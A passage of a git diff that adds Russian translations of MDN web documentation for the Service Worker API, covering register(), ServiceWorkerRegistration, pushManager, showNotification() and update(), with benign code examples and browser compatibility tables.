+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworkercontainer/register/index.html b/files/ru/web/api/serviceworkercontainer/register/index.html
new file mode 100644
index 0000000000..a885e08102
--- /dev/null
+++ b/files/ru/web/api/serviceworkercontainer/register/index.html
@@ -0,0 +1,140 @@
+---
+title: ServiceWorkerContainer.register()
+slug: Web/API/ServiceWorkerContainer/register
+translation_of: Web/API/ServiceWorkerContainer/register
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><strong><code>register()</code></strong> метод {{domxref("ServiceWorkerContainer")}} интерфейса который создает и обновляет <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="The ServiceWorkerRegistion interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>  для указанного <code>URL js скрипта</code>.</p>
+
+<p>Если удачно, service worker registration связывается по указанному URL js скрипта , который соответственно используется для проверки совпадения при навигации по URL. Если метод не возвращает <code>ServiceWorkerRegistration</code>, он возвращает <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. Есть возможность вызвать этот метод без проверки на условие, т.е. нет необходимости сначала проверять существует ли активная регистрация в данный момент или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js notranslate">ServiceWorkerContainer.register(scriptURL, options)
+  .then(function(ServiceWorkerRegistration) { ... });</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>scriptURL</code></dt>
+ <dd>URL скрипта service worker - а.</dd>
+ <dt><code>options</code> <code>{{optional_inline}}</code></dt>
+ <dd>Опции — это обьект  необходимый для регистрации service worker-a. В данный момент доступные опции:
+ <ul>
+  <li><code>scope</code>: {{domxref("USVString")}} представляет собой URL, который определяет scope service worker-a; Какой диапазон URL может контролировать service worker. Это обычно относительный URL. Значение по умолчанию — это URL,  который соответствует корню, т.е. './', используя дирректорию расположения js скрипта service worker-а как основу.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>{{domxref("Promise")}} который резолвится в {{domxref("ServiceWorkerRegistration")}} обьект.</p>
+
+<h2 id="Пример_использования">Пример использования</h2>
+
+<p>Примеры кода, приведенные ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.</p>
+
+<p>Следующий пример использует дефолтный scope (не указывая его прямо). Service worker в этом случае будет контролировать <code>example.com/index.html</code> и страницы, расположенные "глубже", например <code>example.com/product/description.html</code>.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  // Регистрация service worker-а, расположенного в корне сайта
+  // за счет использования дефолтного scope (не указывая его)
+  navigator.serviceWorker.register('/sw.js').then(function(registration) {
+    console.log('Service worker зарегистрирован:', registration);
+  }).catch(function(error) {
+    console.log('Ошибка при регистрации service worker-а:', error);
+  });
+} else {
+  // Текущий браузер не поддерживает service worker-ы.
+  console.log('Текущий браузер не поддерживает service worker-ы');
+}</pre>
+
+<p>Следующий пример, если он размещен на странице корня сайта, будет применен ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице <code>example.com/product/description.html</code>, то scope <code>./</code> будет означать, что service worker работает только со страницами внутри <code>example.com/product</code>. Если необходимо зарегистрировать service worker на <code>example.com/product/description.html</code>, и вы хотите, чтобы он обслуживал и корень, <code>example.com</code>, то scope лучше не указывать совсем, как в примере выше.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  // Регистрация service worker-а, расположенного в корне сайта
+  // с указанием более строгого scope
+  navigator.serviceWorker.register('/sw.js', {scope: './'}).then(function(registration) {
+    console.log('Service worker зарегистрирован:', registration);
+  }).catch(function(error) {
+    console.log('Ошибка при регистрации service worker-а:', error);
+  });
+} else {
+  console.log('Текущий браузер не поддерживает service worker-ы.');
+}</pre>
+
+
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-container', 'ServiceWorkerContainer')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Первичное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Использование Service worker ( и <a href="/en-US/docs/Web/API/Push_API">Push</a>) приостановлено в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
diff --git a/files/ru/web/api/serviceworkerregistration/index.html b/files/ru/web/api/serviceworkerregistration/index.html
new file mode 100644
index 0000000000..8daa8d7b98
--- /dev/null
+++ b/files/ru/web/api/serviceworkerregistration/index.html
@@ -0,0 +1,145 @@
+---
+title: ServiceWorkerRegistration
+slug: Web/API/ServiceWorkerRegistration
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorkerRegistration
+  - TopicStub
+  - Workers
+translation_of: Web/API/ServiceWorkerRegistration
+---
+<div>
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+</div>
+
+<p><span class="seoSummary">Интерфейс <code>ServiceWorkerRegistration</code> ссылается на регистрацию Service Worker. Вы можете зарегистрировать Service Worker, чтобы контролировать одну или несколько страниц на одном домене.</span></p>
+
+<p>The lifetime of a service worker registration is beyond that of the <code>ServiceWorkerRegistration</code> objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active <code>ServiceWorkerRegistration</code> objects.</p>
+
+<div class="note">
+<p><strong>Эта функция доступна в</strong> <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Also implements properties from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.scope")}} {{readonlyinline}}</dt>
+ <dd>Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.installing")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is <code>installing</code>. This is initially set to <code>null</code>.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.waiting")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is <code>waiting</code>. This is initially set to <code>null</code>.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.active")}} <strong style="font-weight: bold;">{{readonlyinline}}</strong></dt>
+ <dd>Returns a service worker whose state is either <code>activating</code> or <code>activated</code>. This is initially set to <code>null</code>. An active worker will control a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the <code>scope</code> option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.navigationPreload")}} {{readonlyinline}}</dt>
+ <dd>Returns the instance of {{domxref("NavigationPreloadManager")}} associated with the current service worker registration.</dd>
+ <dt>{{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.sync")}} <strong style="font-weight: bold; line-height: 19.0909080505371px;">{{non-standard_inline}} </strong>{{readonlyinline}} </dt>
+ <dd>Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}}</dt>
+ <dd>An <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventListener" title="This method is called whenever an event occurs of the type for which the EventListener interface was registered."><code>EventListener</code></a> property called whenever an event of type <code>updatefound</code> is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Also implements methods from its parent interface, </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.getNotifications()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.showNotification()")}}</dt>
+ <dd>Displays the notification with the requested title.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.update()")}}</dt>
+ <dd>Checks the server for an updated version of the service worker without consulting caches.</dd>
+ <dt>{{domxref("ServiceWorkerRegistration.unregister()")}}</dt>
+ <dd>Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and <code>updatefound</code> event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the <code>updatefound</code> event will not be fired.</p>
+
+<pre class="brush: js">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw.js')
+  .then(function(registration) {
+    registration.addEventListener('updatefound', function() {
+      // If updatefound is fired, it means that there's
+      // a new service worker being installed.
+      var installingWorker = registration.installing;
+      console.log('A new service worker is being installed:',
+        installingWorker);
+
+      // You can listen for changes to the installing service worker's
+      // state via installingWorker.onstatechange
+    });
+  })
+  .catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Добавлено свойство {{domxref("PushManager","pushManager")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Добавлены методы {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} и {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Sync')}}</td>
+   <td>{{Spec2('Background Sync')}}</td>
+   <td>Добавлено свойство {{domxref("ServiceWorkerRegistration.sync","sync")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
new file mode 100644
index 0000000000..ceaa0bc41e
--- /dev/null
+++ b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
@@ -0,0 +1,72 @@
+---
+title: ServiceWorkerRegistration.pushManager
+slug: Web/API/ServiceWorkerRegistration/pushManager
+translation_of: Web/API/ServiceWorkerRegistration/pushManager
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>Свойство <strong><code>pushManager</code></strong> интерфейса {{domxref("ServiceWorkerRegistration")}} возвращает ссылку на интерфейс {{domxref("PushManager")}}, позволяющий управлять подписками на push-уведомления. Включает поддержку процедуры подписки, получения активной подписки, а также предоставляет доступ к стутусу разрешений на push-уведомления.</p>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Синтакс</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">myPushManager = ServiceWorker.pushManager
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект {{domxref("PushManager")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">this.onpush = function(event) {
+  console.log(event.data);
+  // Отсюда можно записывать данные в IndexedDB, отправлять их в любое
+  // открытое окно, отображать уведомление и т. д.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        // Детали push-подписки, требуемые сервером приложения,
+        // теперь доступны, и могут быть отправлены, к примеру,
+        // при помощи XMLHttpRequest.
+      }, function(error) {
+        // При разработке это часто помогает отлавливать ошибки в консоли.
+        // В продакшен-среде это также может быть полезно для отправки отчета
+        // об ошибках на сервер приложения.
+        console.log(error);
+      }
+    );
+  });</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API', '#pushmanager-interface', 'PushManager')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration.pushManager")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API">Push API</a></li>
+</ul>
diff --git a/files/ru/web/api/serviceworkerregistration/shownotification/index.html b/files/ru/web/api/serviceworkerregistration/shownotification/index.html
new file mode 100644
index 0000000000..fdcd0943fc
--- /dev/null
+++ b/files/ru/web/api/serviceworkerregistration/shownotification/index.html
@@ -0,0 +1,272 @@
+---
+title: ServiceWorkerRegistration.showNotification()
+slug: Web/API/ServiceWorkerRegistration/showNotification
+translation_of: Web/API/ServiceWorkerRegistration/showNotification
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>The <code>showNotification()</code> method of the {{domxref("ServiceWorkerRegistration")}} interface creates a notification on an active service worker.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This feature is available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">​ServiceWorkerRegistration.showNotification(<em>title</em>, [<em>options</em>]).then(function(<em>NotificationEvent</em>) { ... });</pre>
+
+<h3 id="Returns">Returns</h3>
+
+<p>A {{jsxref('Promise')}} that resolves to a {{domxref('NotificationEvent')}}.</p>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>title</code></dt>
+ <dd>The title that must be shown within the notification</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>An object that allows to configure the notification. It can have the following properties:
+ <ul>
+  <li><code>actions</code>: An array of actions to display in the notification. The members of the array should be an object literal. It may contain the following values:
+   <ul>
+    <li>action: A {{domxref("DOMString")}} identifying a user action to be displayed on the notification.</li>
+    <li>title: A {{domxref("DOMString")}} containing action text to be shown to the user.</li>
+    <li>icon: A {{domxref("USVString")}} containg the URL of an icon to display with the action.</li>
+   </ul>
+   Appropriate responses are built using <code>event.action</code> within the {{event("notificationclick")}} event.</li>
+  <li><code>badge</code>: The URL of an image to represent the notification when there is not enough space to display the notification itself such as, for example, the Android Notification Bar. On Android devices, the badge should accommodate devices up to 4x resolution, about 96 by 96 px, and the image will be automatically masked.</li>
+  <li><code>body</code>: Строка с дополнительным контентом уведомления.</li>
+  <li><code>dir</code> : The direction of the notification; it can be <code>auto</code>, <code>ltr</code>, or <code>rtl</code></li>
+  <li><code>icon</code>: URL или base64 версия картинки, которая отображается рядом с уведомлением.</li>
+  <li><code>image</code>: URL {{domxref("USVSTring")}} картинки, которая отображается внутри уведомления.</li>
+  <li><code>lang</code>: Specify the lang used within the notification. This string must be a valid <a href="http://tools.ietf.org/html/bcp47" title="http://tools.ietf.org/html/bcp47">BCP 47 language tag</a>.</li>
+  <li><code>renotify</code>: A boolean that indicates whether to supress vibrations and audible alerts when resusing a <code>tag</code> value. The default is false.</li>
+  <li><code>requireInteraction</code>: Indicates that on devices with sufficiently large screens, a notification should remain active until the user clicks or dismisses it. If this value is absent or false, the desktop version of Chrome will auto-minimize notifications after approximately twenty seconds. The default value is <code>false</code>.</li>
+  <li><code>tag</code>: An ID for a given notification that allows you to find, replace, or remove the notification using script if necessary.</li>
+  <li><code>vibrate</code>: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом четные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечетные периоды пауз. Например, <code>[300, 100, 400]</code> будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.</li>
+  <li><code>data</code>: Arbitrary data that you want associated with the notification. This can be of any data type.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">navigator.serviceWorker.register('sw.js');
+
+function showNotification() {
+  Notification.requestPermission(function(result) {
+    if (result === 'granted') {
+      navigator.serviceWorker.ready.then(function(registration) {
+        registration.showNotification('Vibration Sample', {
+          body: 'Buzz! Buzz!',
+          icon: '../images/touch/chrome-touch-icon-192x192.png',
+          vibrate: [200, 100, 200, 100, 200, 100, 200],
+          tag: 'vibration-sample'
+        });
+      });
+    }
+  });
+}</pre>
+
+<p>To invoke the above function at an appropriate time, you could use the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} event handler.</p>
+
+<p>You can also retrieve details of the {{domxref("Notification")}}s have have been fired from the current service worker using {{domxref("ServiceWorkerRegistration.getNotifications()")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-serviceworkerregistration-shownotificationtitle-options','showNotification()')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ServiceWorkerRegistration.showNotification")}}</p>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td><code>vibrate</code> option</td>
+   <td>{{CompatChrome(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>requireInteraction</code></td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>actions</code> option</td>
+   <td>{{CompatChrome(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>renotify</code> option</td>
+   <td>{{CompatChrome(50)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>badge</code> option</td>
+   <td>{{CompatChrome(53)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>image</code> option</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>data</code> option</td>
+   <td>{{CompatChrome(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td><code>vibrate</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(45)}}</td>
+  </tr>
+  <tr>
+   <td><code>requireInteraction</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(47)}}</td>
+  </tr>
+  <tr>
+   <td><code>actions</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(48)}}</td>
+  </tr>
+  <tr>
+   <td><code>renotify</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(50)}}</td>
+  </tr>
+  <tr>
+   <td><code>badge</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(53)}}</td>
+  </tr>
+  <tr>
+   <td><code>image</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(56)}}</td>
+  </tr>
+  <tr>
+   <td><code>data</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(44)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/serviceworkerregistration/update/index.html b/files/ru/web/api/serviceworkerregistration/update/index.html
new file mode 100644
index 0000000000..5a2180581a
--- /dev/null
+++ b/files/ru/web/api/serviceworkerregistration/update/index.html
@@ -0,0 +1,74 @@
+---
+title: ServiceWorkerRegistration.update()
+slug: Web/API/ServiceWorkerRegistration/update
+translation_of: Web/API/ServiceWorkerRegistration/update
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>Метод <code><strong>update</strong></code> интерфейса {{domxref("ServiceWorkerRegistration")}} предназначен для обновления service worker. Он обращаетя по URL service worker-a, и если новый worker побайтно не совпадает с текущим, инсталирует новую версию. Обращение за новой версией worker обходит любые кеши браузера, если предыдущее обращение произошло более 24 часов назад..</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Эта возможность доступна в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Синтаксис</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">ServiceWorkerRegistration.update();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>{{domxref("Промис")}}, который разрешается в объект {{domxref("ServiceWorkerRegistration")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
